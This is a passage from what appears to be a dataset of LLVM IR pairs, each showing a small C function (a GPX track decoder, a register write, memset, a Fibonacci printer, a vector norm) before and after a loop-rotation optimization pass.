%44 = sext i32 %43 to i64
%45 = getelementptr inbounds i8, ptr %42, i64 %44
%46 = load i8, ptr %45, align 1
%47 = zext i8 %46 to i32
%48 = and i32 %47, 32
%49 = icmp ne i32 %48, 0
br i1 %49, label %50, label %51
50: ; preds = %32
store i32 1, ptr %16, align 4
br label %51
51: ; preds = %50, %32
%52 = load i64, ptr %17, align 8
%53 = icmp sgt i64 %52, 0
br i1 %53, label %54, label %61
54: ; preds = %51
%55 = load i64, ptr %8, align 8
%56 = load i64, ptr %17, align 8
%57 = add nsw i64 %56, 3600
%58 = icmp sgt i64 %55, %57
br i1 %58, label %59, label %61
59: ; preds = %54
%60 = call i32 @printf(ptr noundef @.str.1)
br label %61
61: ; preds = %59, %54, %51
%62 = load i64, ptr %8, align 8
%63 = load double, ptr %13, align 8
%64 = load double, ptr %14, align 8
%65 = load double, ptr %15, align 8
%66 = load i32, ptr %12, align 4
%67 = call i32 @output_gpx_trk_point(i64 noundef %62, double noundef %63, double noundef %64, double noundef %65, i32 noundef %66)
%68 = load i32, ptr %7, align 4
%69 = add nsw i32 %68, 18
store i32 %69, ptr %7, align 4
br label %110
70: ; preds = %23
%71 = load ptr, ptr %4, align 8
%72 = load i32, ptr %7, align 4
%73 = sext i32 %72 to i64
%74 = getelementptr inbounds i8, ptr %71, i64 %73
%75 = load i8, ptr %74, align 1
%76 = zext i8 %75 to i32
%77 = icmp eq i32 %76, 128
br i1 %77, label %78, label %106
78: ; preds = %70
%79 = load ptr, ptr %4, align 8
%80 = load i32, ptr %7, align 4
%81 = sext i32 %80 to i64
%82 = getelementptr inbounds i8, ptr %79, i64 %81
%83 = call i32 @decode_short_entry(ptr noundef %82, ptr noundef %8, ptr noundef %9, ptr noundef %10, ptr noundef %11, ptr noundef %12)
%84 = load i32, ptr %9, align 4
%85 = load i32, ptr %10, align 4
%86 = load i32, ptr %11, align 4
%87 = call i32 @ecef_to_geo(i32 noundef %84, i32 noundef %85, i32 noundef %86, ptr noundef %14, ptr noundef %13, ptr noundef %15)
%88 = load i64, ptr %17, align 8
%89 = icmp sgt i64 %88, 0
br i1 %89, label %90, label %97
90: ; preds = %78
%91 = load i64, ptr %8, align 8
%92 = load i64, ptr %17, align 8
%93 = add nsw i64 %92, 3600
%94 = icmp sgt i64 %91, %93
br i1 %94, label %95, label %97
95: ; preds = %90
%96 = call i32 @printf(ptr noundef @.str.1)
br label %97
97: ; preds = %95, %90, %78
%98 = load i64, ptr %8, align 8
%99 = load double, ptr %13, align 8
%100 = load double, ptr %14, align 8
%101 = load double, ptr %15, align 8
%102 = load i32, ptr %12, align 4
%103 = call i32 @output_gpx_trk_point(i64 noundef %98, double noundef %99, double noundef %100, double noundef %101, i32 noundef %102)
%104 = load i32, ptr %7, align 4
%105 = add nsw i32 %104, 8
store i32 %105, ptr %7, align 4
br label %109
106: ; preds = %70
%107 = load i32, ptr %7, align 4
%108 = add nsw i32 %107, 1
store i32 %108, ptr %7, align 4
br label %109
109: ; preds = %106, %97
br label %110
110: ; preds = %109, %61
%111 = load i64, ptr %8, align 8
store i64 %111, ptr %17, align 8
%112 = load i32, ptr %7, align 4
%113 = load i32, ptr %5, align 4
%114 = icmp slt i32 %112, %113
br i1 %114, label %23, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %110
br label %115
115: ; preds = %._crit_edge, %3
%116 = load i64, ptr %17, align 8
ret i64 %116
}
declare i32 @printf(ptr noundef) #1
declare i32 @decode_long_entry(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1
declare i32 @ecef_to_geo(i32 noundef, i32 noundef, i32 noundef, ptr noundef, ptr noundef, ptr noundef) #1
declare i32 @output_gpx_trk_point(i64 noundef, double noundef, double noundef, double noundef, i32 noundef) #1
declare i32 @decode_short_entry(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpmrd29fiw.c'
source_filename = "/tmp/tmpmrd29fiw.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @fmStopTone(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = load i32, ptr %2, align 4
%4 = add nsw i32 176, %3
%5 = call i32 @AL_writeRegister(i32 noundef %4, i32 noundef 0)
ret void
}
declare i32 @AL_writeRegister(i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpmrd29fiw.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @fmStopTone(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = load i32, ptr %2, align 4
%4 = add nsw i32 176, %3
%5 = call i32 @AL_writeRegister(i32 noundef %4, i32 noundef 0)
ret void
}
declare i32 @AL_writeRegister(i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpzjflnjb3.c'
source_filename = "/tmp/tmpzjflnjb3.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @memset(ptr noundef %0, i32 noundef %1, i32 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca ptr, align 8
store ptr %0, ptr %4, align 8
store i32 %1, ptr %5, align 4
store i32 %2, ptr %6, align 4
%8 = load ptr, ptr %4, align 8
store ptr %8, ptr %7, align 8
br label %9
9: ; preds = %13, %3
%10 = load i32, ptr %6, align 4
%11 = add nsw i32 %10, -1
store i32 %11, ptr %6, align 4
%12 = icmp ne i32 %10, 0
br i1 %12, label %13, label %18
13: ; preds = %9
%14 = load i32, ptr %5, align 4
%15 = trunc i32 %14 to i8
%16 = load ptr, ptr %7, align 8
%17 = getelementptr inbounds i8, ptr %16, i32 1
store ptr %17, ptr %7, align 8
store i8 %15, ptr %16, align 1
br label %9, !llvm.loop !6
18: ; preds = %9
%19 = load ptr, ptr %4, align 8
ret ptr %19
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpzjflnjb3.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @memset(ptr noundef %0, i32 noundef %1, i32 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca ptr, align 8
store ptr %0, ptr %4, align 8
store i32 %1, ptr %5, align 4
store i32 %2, ptr %6, align 4
%8 = load ptr, ptr %4, align 8
store ptr %8, ptr %7, align 8
%9 = load i32, ptr %6, align 4
%10 = add nsw i32 %9, -1
store i32 %10, ptr %6, align 4
%11 = icmp ne i32 %9, 0
br i1 %11, label %.lr.ph, label %20
.lr.ph: ; preds = %3
br label %12
12: ; preds = %.lr.ph, %12
%13 = load i32, ptr %5, align 4
%14 = trunc i32 %13 to i8
%15 = load ptr, ptr %7, align 8
%16 = getelementptr inbounds i8, ptr %15, i32 1
store ptr %16, ptr %7, align 8
store i8 %14, ptr %15, align 1
%17 = load i32, ptr %6, align 4
%18 = add nsw i32 %17, -1
store i32 %18, ptr %6, align 4
%19 = icmp ne i32 %17, 0
br i1 %19, label %12, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %12
br label %20
20: ; preds = %._crit_edge, %3
%21 = load ptr, ptr %4, align 8
ret ptr %21
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpydggva3x.c'
source_filename = "/tmp/tmpydggva3x.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [4 x i8] c"%i\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca [15 x i32], align 16
store i32 0, ptr %1, align 4
%4 = getelementptr inbounds [15 x i32], ptr %3, i64 0, i64 0
store i32 0, ptr %4, align 16
%5 = getelementptr inbounds [15 x i32], ptr %3, i64 0, i64 1
store i32 1, ptr %5, align 4
store i32 2, ptr %2, align 4
br label %6
6: ; preds = %24, %0
%7 = load i32, ptr %2, align 4
%8 = icmp slt i32 %7, 15
br i1 %8, label %9, label %27
9: ; preds = %6
%10 = load i32, ptr %2, align 4
%11 = sub nsw i32 %10, 2
%12 = sext i32 %11 to i64
%13 = getelementptr inbounds [15 x i32], ptr %3, i64 0, i64 %12
%14 = load i32, ptr %13, align 4
%15 = load i32, ptr %2, align 4
%16 = sub nsw i32 %15, 1
%17 = sext i32 %16 to i64
%18 = getelementptr inbounds [15 x i32], ptr %3, i64 0, i64 %17
%19 = load i32, ptr %18, align 4
%20 = add nsw i32 %14, %19
%21 = load i32, ptr %2, align 4
%22 = sext i32 %21 to i64
%23 = getelementptr inbounds [15 x i32], ptr %3, i64 0, i64 %22
store i32 %20, ptr %23, align 4
br label %24
24: ; preds = %9
%25 = load i32, ptr %2, align 4
%26 = add nsw i32 %25, 1
store i32 %26, ptr %2, align 4
br label %6, !llvm.loop !6
27: ; preds = %6
store i32 0, ptr %2, align 4
br label %28
28: ; preds = %37, %27
%29 = load i32, ptr %2, align 4
%30 = icmp slt i32 %29, 15
br i1 %30, label %31, label %40
31: ; preds = %28
%32 = load i32, ptr %2, align 4
%33 = sext i32 %32 to i64
%34 = getelementptr inbounds [15 x i32], ptr %3, i64 0, i64 %33
%35 = load i32, ptr %34, align 4
%36 = call i32 @printf(ptr noundef @.str, i32 noundef %35)
br label %37
37: ; preds = %31
%38 = load i32, ptr %2, align 4
%39 = add nsw i32 %38, 1
store i32 %39, ptr %2, align 4
br label %28, !llvm.loop !8
40: ; preds = %28
ret i32 0
}
declare i32 @printf(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpydggva3x.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [4 x i8] c"%i\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca [15 x i32], align 16
store i32 0, ptr %1, align 4
%4 = getelementptr inbounds [15 x i32], ptr %3, i64 0, i64 0
store i32 0, ptr %4, align 16
%5 = getelementptr inbounds [15 x i32], ptr %3, i64 0, i64 1
store i32 1, ptr %5, align 4
store i32 2, ptr %2, align 4
%6 = load i32, ptr %2, align 4
%7 = icmp slt i32 %6, 15
br i1 %7, label %.lr.ph, label %28
.lr.ph: ; preds = %0
br label %8
8: ; preds = %.lr.ph, %23
%9 = load i32, ptr %2, align 4
%10 = sub nsw i32 %9, 2
%11 = sext i32 %10 to i64
%12 = getelementptr inbounds [15 x i32], ptr %3, i64 0, i64 %11
%13 = load i32, ptr %12, align 4
%14 = load i32, ptr %2, align 4
%15 = sub nsw i32 %14, 1
%16 = sext i32 %15 to i64
%17 = getelementptr inbounds [15 x i32], ptr %3, i64 0, i64 %16
%18 = load i32, ptr %17, align 4
%19 = add nsw i32 %13, %18
%20 = load i32, ptr %2, align 4
%21 = sext i32 %20 to i64
%22 = getelementptr inbounds [15 x i32], ptr %3, i64 0, i64 %21
store i32 %19, ptr %22, align 4
br label %23
23: ; preds = %8
%24 = load i32, ptr %2, align 4
%25 = add nsw i32 %24, 1
store i32 %25, ptr %2, align 4
%26 = load i32, ptr %2, align 4
%27 = icmp slt i32 %26, 15
br i1 %27, label %8, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %23
br label %28
28: ; preds = %._crit_edge, %0
store i32 0, ptr %2, align 4
%29 = load i32, ptr %2, align 4
%30 = icmp slt i32 %29, 15
br i1 %30, label %.lr.ph2, label %42
.lr.ph2: ; preds = %28
br label %31
31: ; preds = %.lr.ph2, %37
%32 = load i32, ptr %2, align 4
%33 = sext i32 %32 to i64
%34 = getelementptr inbounds [15 x i32], ptr %3, i64 0, i64 %33
%35 = load i32, ptr %34, align 4
%36 = call i32 @printf(ptr noundef @.str, i32 noundef %35)
br label %37
37: ; preds = %31
%38 = load i32, ptr %2, align 4
%39 = add nsw i32 %38, 1
store i32 %39, ptr %2, align 4
%40 = load i32, ptr %2, align 4
%41 = icmp slt i32 %40, 15
br i1 %41, label %31, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %37
br label %42
42: ; preds = %._crit_edge3, %28
ret i32 0
}
declare i32 @printf(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmpe2hq2a_t.c'
source_filename = "/tmp/tmpe2hq2a_t.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local double @norm_double_vec(ptr noundef %0, i32 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca double, align 8
store ptr %0, ptr %3, align 8
store i32 %1, ptr %4, align 4
store double 0.000000e+00, ptr %6, align 8
store i32 0, ptr %5, align 4
br label %7
7: ; preds = %24, %2
%8 = load i32, ptr %5, align 4
%9 = load i32, ptr %4, align 4
%10 = icmp slt i32 %8, %9
br i1 %10, label %11, label %27
11: ; preds = %7
%12 = load double, ptr %6, align 8
%13 = load ptr, ptr %3, align 8
%14 = load i32, ptr %5, align 4
%15 = sext i32 %14 to i64
%16 = getelementptr inbounds double, ptr %13, i64 %15
%17 = load double, ptr %16, align 8
%18 = load ptr, ptr %3, align 8
%19 = load i32, ptr %5, align 4
%20 = sext i32 %19 to i64
%21 = getelementptr inbounds double, ptr %18, i64 %20
%22 = load double, ptr %21, align 8
%23 = call double @llvm.fmuladd.f64(double %17, double %22, double %12)
store double %23, ptr %6, align 8
br label %24
24: ; preds = %11
%25 = load i32, ptr %5, align 4
%26 = add nsw i32 %25, 1
store i32 %26, ptr %5, align 4
br label %7, !llvm.loop !6
27: ; preds = %7
%28 = load double, ptr %6, align 8
%29 = call double @sqrt(double noundef %28) #3
ret double %29
}
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fmuladd.f64(double, double, double) #1
; Function Attrs: nounwind
declare double @sqrt(double noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
attributes #2 = { nounwind "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpe2hq2a_t.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local double @norm_double_vec(ptr noundef %0, i32 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca double, align 8
store ptr %0, ptr %3, align 8
store i32 %1, ptr %4, align 4
store double 0.000000e+00, ptr %6, align 8
store i32 0, ptr %5, align 4
%7 = load i32, ptr %5, align 4
%8 = load i32, ptr %4, align 4
%9 = icmp slt i32 %7, %8
br i1 %9, label %.lr.ph, label %29
.lr.ph: ; preds = %2
br label %10
10: ; preds = %.lr.ph, %23
%11 = load double, ptr %6, align 8
%12 = load ptr, ptr %3, align 8
%13 = load i32, ptr %5, align 4
%14 = sext i32 %13 to i64
%15 = getelementptr inbounds double, ptr %12, i64 %14
%16 = load double, ptr %15, align 8
%17 = load ptr, ptr %3, align 8
%18 = load i32, ptr %5, align 4
%19 = sext i32 %18 to i64
%20 = getelementptr inbounds double, ptr %17, i64 %19
%21 = load double, ptr %20, align 8
%22 = call double @llvm.fmuladd.f64(double %16, double %21, double %11)
store double %22, ptr %6, align 8
br label %23
23: ; preds = %10
%24 = load i32, ptr %5, align 4
%25 = add nsw i32 %24, 1
store i32 %25, ptr %5, align 4
%26 = load i32, ptr %5, align 4
%27 = load i32, ptr %4, align 4
%28 = icmp slt i32 %26, %27
br i1 %28, label %10, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %23
br label %29
29: ; preds = %._crit_edge, %2
%30 = load double, ptr %6, align 8
%31 = call double @sqrt(double noundef %30) #3
ret double %31
}
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fmuladd.f64(double, double, double) #1
; Function Attrs: nounwind
declare double @sqrt(double noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
attributes #2 = { nounwind "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpxu4m2hkv.c'
source_filename = "/tmp/tmpxu4m2hkv.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@__const.main.array = private unnamed_addr constant [10 x float] [float 0x3FF19999A0000000, float 0x40019999A0000000, float 0x400A666660000000, float 0x40119999A0000000, float 5.500000e+00, float 0x401A666660000000, float 0x401ECCCCC0000000, float 0x40219999A0000000, float 0x4023CCCCC0000000, float 0x4024333340000000], align 16
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca [10 x float], align 16
call void @llvm.memcpy.p0.p0.i64(ptr align 16 %1, ptr align 16 @__const.main.array, i64 40, i1 false)
%2 = getelementptr inbounds [10 x float], ptr %1, i64 0, i64 0
%3 = call i32 @es5(ptr noundef %2, i32 noundef 10)
ret i32 0
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite)
declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #1
declare i32 @es5(ptr noundef, i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpxu4m2hkv.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@__const.main.array = private unnamed_addr constant [10 x float] [float 0x3FF19999A0000000, float 0x40019999A0000000, float 0x400A666660000000, float 0x40119999A0000000, float 5.500000e+00, float 0x401A666660000000, float 0x401ECCCCC0000000, float 0x40219999A0000000, float 0x4023CCCCC0000000, float 0x4024333340000000], align 16
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca [10 x float], align 16
call void @llvm.memcpy.p0.p0.i64(ptr align 16 %1, ptr align 16 @__const.main.array, i64 40, i1 false)
%2 = getelementptr inbounds [10 x float], ptr %1, i64 0, i64 0
%3 = call i32 @es5(ptr noundef %2, i32 noundef 10)
ret i32 0
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite)
declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #1
declare i32 @es5(ptr noundef, i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp59zn7c1a.c'
source_filename = "/tmp/tmp59zn7c1a.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
